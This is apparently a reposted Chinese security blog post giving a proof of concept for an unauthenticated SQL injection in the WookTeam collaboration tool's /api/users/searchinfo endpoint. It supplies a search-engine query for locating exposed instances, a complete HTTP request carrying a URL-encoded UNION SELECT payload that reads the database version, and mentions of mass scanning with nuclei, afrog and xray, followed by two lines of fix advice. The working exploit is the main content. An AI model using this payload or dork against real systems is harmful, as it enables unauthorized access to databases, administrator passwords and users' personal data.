WookTeam searchinfo SQL注入漏洞POC

admin 2024年9月28日11:35:10评论9 views字数 714阅读2分22秒阅读模式

0x01 产品简介

WookTeam是一款轻量级的在线团队协作工具,提供各类文档工具、在线思维导图、在线流程图、项目管理、任务分发,知识库管理等工具。

0x02 漏洞概述

WookTeam /api/users/searchinfo 接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

0x03 搜索引擎

title="Wookteam"

WookTeam searchinfo SQL注入漏洞POC

0x04 漏洞复现

GET /api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cversion%28%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: keep-alive

查询数据库版本

WookTeam searchinfo SQL注入漏洞POC

WookTeam searchinfo SQL注入漏洞POC

0x05 工具批量

nuclei

WookTeam searchinfo SQL注入漏洞POC

afrog

WookTeam searchinfo SQL注入漏洞POC

xray

WookTeam searchinfo SQL注入漏洞POC

0x06 修复建议

1、关闭互联网暴露面或接口设置访问权限

2、升级至安全版本

原文始发于微信公众号(nday POC):【漏洞复现】WookTeam searchinfo SQL注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:35:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WookTeam searchinfo SQL注入漏洞POChttps://cn-sec.com/archives/3099632.html

发表评论

匿名网友 填写信息